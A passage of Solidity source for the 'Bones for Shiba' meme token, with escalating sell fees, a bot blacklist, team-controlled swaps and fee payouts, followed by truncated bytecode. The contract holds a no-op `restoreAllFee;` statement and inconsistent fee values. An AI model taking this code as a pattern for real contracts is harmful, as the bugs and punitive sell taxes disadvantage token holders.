amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract Shibone is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Bones for Shiba"; string private constant _symbol = "\xF0\x9F\x90\x95SHIBONES\xF0\x9F\xA6\xB4"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 6; uint256 private _teamFee = 7; mapping(address => bool) private bots; mapping(address => uint256) private buycooldown; mapping(address => uint256) private sellcooldown; mapping(address => uint256) private firstsell; mapping(address => uint256) private sellnumber; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private liquidityAdded = false; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal,"Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 7; _teamFee = 5; } function setFee(uint256 multiplier) private { _taxFee = _taxFee * multiplier; if (multiplier > 1) { _teamFee = 10; } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) { require(tradingOpen); require(amount <= _maxTxAmount); require(buycooldown[to] < block.timestamp); buycooldown[to] = block.timestamp + (30 seconds); _teamFee = 5; _taxFee = 2; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount); require(sellcooldown[from] < block.timestamp); if(firstsell[from] + (4 hours) < block.timestamp){ sellnumber[from] = 0; } if (sellnumber[from] == 0) { sellnumber[from]++; firstsell[from] = block.timestamp; sellcooldown[from] = block.timestamp + (1 hours); } else if (sellnumber[from] == 1) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (2 hours); } else if (sellnumber[from] == 2) { sellnumber[from]++; sellcooldown[from] = firstsell[from] + (4 hours); } swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } setFee(sellnumber[from]); } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); restoreAllFee; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() public onlyOwner { require(liquidityAdded); tradingOpen = true; } function addLiquidity() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; liquidityAdded = true; _maxTxAmount = 5000000000 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b60405161013091906130cf565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612c42565b610418565b60405161016d91906130b4565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190613251565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612bef565b610447565b6040516101d591906130b4565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b60405161020091906132c6565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612c82565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b9190612b55565b61064d565b60405161027d9190613251565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf9190612fe6565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea91906130cf565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612c42565b610857565b60405161032791906130b4565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005b34801561036a57600080fd5b5061038560048036038101906103809190612cdc565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a99190612baf565b610b03565b6040516103bb9190613251565b60405180910390f35b3480156103d057600080fd5b506103d9610b8a565b005b60606040518060400160405280600f81526020017f426f6e657320666f722053686962610000000000000000000000000000000000815250905090565b600061042c610425611096565b848461109e565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610454848484611269565b61051584610460611096565b6105108560405180606001604052806028815260200161391360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c6611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f439092919063ffffffff16565b61109e565b600190509392505050565b60006009905090565b610531611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b5906131b1565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c611096565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a81611fa7565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a2565b9050919050565b6106a6611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a906131b1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280601081526020017ff09f9095534849424f4e4553f09fa6b400000000000000000000000000000000815250905090565b600061086b610864611096565b8484611269565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b6611096565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec81612110565b50565b6108f7611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b906131b1565b60405180910390fd5b601260159054906101000a900460ff1661099d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c2611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906131b1565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8990613171565b60405180910390fd5b610ac16064610ab383683635c9adc5dea0000061239890919063ffffffff16565b61241390919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af89190613251565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b92611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906131b1565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610caf30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061109e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf557600080fd5b505afa158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190612b82565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc79190612b82565b6040518363ffffffff1660e01b8152600401610de4929190613001565b602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612b82565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebf3061064d565b600080610eca6107f1565b426040518863ffffffff1660e01b8152600401610eec96959493929190613053565b6060604051808303818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3e9190612d09565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff021916908315150217905550674563918244f40000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161104092919061302a565b602060405180830381600087803b15801561105a57600080fd5b505af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612caf565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110590613211565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590613131565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125c9190613251565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d0906131f1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611349576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611340906130f1565b60405180910390fd5b6000811161138c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611383906131d1565b60405180910390fd5b6113946107f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140257506113d26107f1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8057601260189054906101000a900460ff1615611635573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114de5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115385750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163457601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661157e611096565b73ffffffffffffffffffffffffffffffffffffffff1614806115f45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115dc611096565b73ffffffffffffffffffffffffffffffffffffffff16145b611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a90613231565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e257600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fb5750601260189054906101000a900460ff165b156118d457601260149054906101000a900460ff1661181957600080fd5b60135481111561182857600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187357600080fd5b601e426118809190613336565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600560098190555060026008819055505b60006118df3061064d565b9050601260169054906101000a900460ff1615801561194c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119645750601260179054906101000a900460ff165b15611e7e576119ba60646119ac600361199e601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064d565b61239890919063ffffffff16565b61241390919063ffffffff16565b82111580156119cb57506013548211155b6119d457600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1f57600080fd5b42613840600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6d9190613336565b1015611ab9576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bf057600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b51906134e5565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1042611ba89190613336565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e13565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ce357600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c88906134e5565b9190505550611c2042611c9b9190613336565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e12565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611e1157600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d7b906134e5565b9190505550613840600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dcd9190613336565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b611e1c81612110565b60004790506000811115611e3457611e3347611fa7565b5b611e7c600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245d565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f275750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611f3157600090505b611f3d84848484612486565b50505050565b6000838311158290611f8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f8291906130cf565b60405180910390fd5b5060008385611f9a9190613417565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ff760028461241390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612022573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61207360028461241390919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561209e573d6000803e3d6000fd5b5050565b60006006548211156120e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e090613111565b60405180910390fd5b60006120f36124c5565b9050612108818461241390919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612148576121476135bb565b5b6040519080825280602002602001820160405280156121765781602001602082028036833780820191505090505b509050308160008151811061218e5761218d61358c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561223057600080fd5b505afa158015612244573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122689190612b82565b8160018151811061227c5761227b61358c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506122e330601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161234795949392919061326c565b600060405180830381600087803b15801561236157600080fd5b505af1158015612375573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b6000808314156123ab576000905061240d565b600082846123b991906133bd565b90508284826123c8919061338c565b14612408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ff90613191565b60405180910390fd5b809150505b92915050565b600061245583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124f0565b905092915050565b8060085461246b91906133bd565b600881905550600181111561248357600a6009819055505b50565b8061249457612493612553565b5b61249f848484612584565b806124ad576124ac6124b3565b5b50505050565b60076008819055506005600981905550565b60008060006124d261274f565b915091506124e9818361241390919063ffffffff16565b9250505090565b60008083118290612537576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252e91906130cf565b60405180910390fd5b5060008385612546919061338c565b9050809150509392505050565b600060085414801561256757506000600954145b1561257157612582565b600060088190555060006009819055505b565b600080600080600080612596876127b1565b9550955095509550955095506125f486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461281990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061268985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126d5816128c1565b6126df848361297e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161273c9190613251565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea000009050612785683635c9adc5dea0000060065461241390919063ffffffff16565b8210156127a457600654683635c9adc5dea000009350935050506127ad565b81819350935050505b9091565b60008060008060008060008060006127ce8a6008546009546129b8565b92509250925060006127de6124c5565b905060008060006127f18e878787612a4e565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061285b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611f43565b905092915050565b60008082846128729190613336565b9050838110156128b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128ae90613151565b60405180910390fd5b8091505092915050565b60006128cb6124c5565b905060006128e2828461239890919063ffffffff16565b905061293681600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129938260065461281990919063ffffffff16565b6006819055506129